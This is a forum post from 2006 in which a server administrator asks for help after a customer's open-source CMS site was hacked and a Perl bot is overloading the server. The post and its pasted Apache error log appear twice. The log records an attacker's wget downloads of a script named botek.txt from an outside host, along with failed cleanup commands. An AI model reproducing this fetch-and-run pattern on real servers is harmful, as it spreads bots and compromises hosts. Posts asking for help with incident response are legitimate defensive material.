powerdomein
Verified User
- Joined
- Dec 28, 2005
- Messages
- 99
Dear guys,
One of my customer use opensoruce. And the site is just been hacked. The hacker place some perl script.. But i cant shut it down.. i have to high server load. I dont what to do.
We
Can anyone helpme . I have Fedora 3 server.
Apache Error log
Length: 31,254 [text/plain]
0K .......... .......... .......... 100% 89.02 KB/s
18:53:18 (89.02 KB/s) - `botek.txt.3' saved [31,254/31,254]
rm: too few arguments
Try `rm --help' for more information.
sh: line 1: botek.txt.1: command not found
--18:53:27-- http://www.aol.eu.com/botek.txt
=> `botek.txt.4'
Resolving www.aol.eu.com... 216.40.34.100
Connecting to www.aol.eu.com[216.40.34.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31,254 [text/plain]
0K .......... .......... .......... 100% 89.05 KB/s
18:53:27 (89.05 KB/s) - `botek.txt.4' saved [31,254/31,254]
rm: too few arguments
Try `rm --help' for more information.
sh: line 1: botek.txt.1: command not found
[Wed Jul 12 18:56:02 2006] [notice] SIGHUP received. Attempting to restart
[Wed Jul 12 18:56:02 2006] [warn] module perl_module is already loaded, skipping
[Wed Jul 12 18:56:02 2006] [warn] NameVirtualHost 85.92.134.114:80 has no VirtualHosts
[Wed Jul 12 18:56:02 2006] [warn] NameVirtualHost 85.92.134.114:443 has no VirtualHosts
[Wed Jul 12 18:56:03 2006] [notice] Apache/1.3.36 (Unix) mod_ssl/2.8.27 OpenSSL/0.9.7a PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510 configured -- resuming normal operations
[Wed Jul 12 18:56:03 2006] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Wed Jul 12 18:56:03 2006] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Wed Jul 12 19:16:39 2006] [error] [client 211.206.245.207] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:18:26 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:19:22 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:20:00 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:20:45 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:26:22 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:27:09 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:27:15 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:31:29 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:37:44 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 20:08:25 2006] [error] [client 72.30.133.209] File does not exist: /var/www/html/robots.txt
[Wed Jul 12 21:46:02 2006] [notice] caught SIGTERM, shutting down
[Wed Jul 12 21:46:05 2006] [warn] module perl_module is already loaded, skipping
[Wed Jul 12 21:46:06 2006] [warn] NameVirtualHost 85.92.134.114:80 has no VirtualHosts
[Wed Jul 12 21:46:06 2006] [warn] NameVirtualHost 85.92.134.114:443 has no VirtualHosts
[Wed Jul 12 21:46:07 2006] [notice] Apache/1.3.36 (Unix) mod_ssl/2.8.27 OpenSSL/0.9.7a PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510 configured -- resuming normal operations
[Wed Jul 12 21:46:07 2006] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Wed Jul 12 21:46:07 2006] [notice] Accept mutex: sysvsem (Default: sysvsem)
Can't use an undefined value as a symbol reference at sq.txt line 1399.
[Wed Jul 12 23:08:26 2006] [error] [client 72.30.133.209] File does not exist: /var/www/html/robots.txt
One of my customer use opensoruce. And the site is just been hacked. The hacker place some perl script.. But i cant shut it down.. i have to high server load. I dont what to do.
We
Can anyone helpme . I have Fedora 3 server.
Apache Error log
Length: 31,254 [text/plain]
0K .......... .......... .......... 100% 89.02 KB/s
18:53:18 (89.02 KB/s) - `botek.txt.3' saved [31,254/31,254]
rm: too few arguments
Try `rm --help' for more information.
sh: line 1: botek.txt.1: command not found
--18:53:27-- http://www.aol.eu.com/botek.txt
=> `botek.txt.4'
Resolving www.aol.eu.com... 216.40.34.100
Connecting to www.aol.eu.com[216.40.34.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31,254 [text/plain]
0K .......... .......... .......... 100% 89.05 KB/s
18:53:27 (89.05 KB/s) - `botek.txt.4' saved [31,254/31,254]
rm: too few arguments
Try `rm --help' for more information.
sh: line 1: botek.txt.1: command not found
[Wed Jul 12 18:56:02 2006] [notice] SIGHUP received. Attempting to restart
[Wed Jul 12 18:56:02 2006] [warn] module perl_module is already loaded, skipping
[Wed Jul 12 18:56:02 2006] [warn] NameVirtualHost 85.92.134.114:80 has no VirtualHosts
[Wed Jul 12 18:56:02 2006] [warn] NameVirtualHost 85.92.134.114:443 has no VirtualHosts
[Wed Jul 12 18:56:03 2006] [notice] Apache/1.3.36 (Unix) mod_ssl/2.8.27 OpenSSL/0.9.7a PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510 configured -- resuming normal operations
[Wed Jul 12 18:56:03 2006] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Wed Jul 12 18:56:03 2006] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Wed Jul 12 19:16:39 2006] [error] [client 211.206.245.207] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:18:26 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:19:22 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:20:00 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:20:45 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:26:22 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:27:09 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:27:15 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:31:29 2006] [error] [client 83.180.56.224] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 19:37:44 2006] [error] [client 86.87.201.130] File does not exist: /home/kaan/public_html/nl/mambots/content/mosthumb/mosthumb.js
[Wed Jul 12 20:08:25 2006] [error] [client 72.30.133.209] File does not exist: /var/www/html/robots.txt
[Wed Jul 12 21:46:02 2006] [notice] caught SIGTERM, shutting down
[Wed Jul 12 21:46:05 2006] [warn] module perl_module is already loaded, skipping
[Wed Jul 12 21:46:06 2006] [warn] NameVirtualHost 85.92.134.114:80 has no VirtualHosts
[Wed Jul 12 21:46:06 2006] [warn] NameVirtualHost 85.92.134.114:443 has no VirtualHosts
[Wed Jul 12 21:46:07 2006] [notice] Apache/1.3.36 (Unix) mod_ssl/2.8.27 OpenSSL/0.9.7a PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510 configured -- resuming normal operations
[Wed Jul 12 21:46:07 2006] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Wed Jul 12 21:46:07 2006] [notice] Accept mutex: sysvsem (Default: sysvsem)
Can't use an undefined value as a symbol reference at sq.txt line 1399.
[Wed Jul 12 23:08:26 2006] [error] [client 72.30.133.209] File does not exist: /var/www/html/robots.txt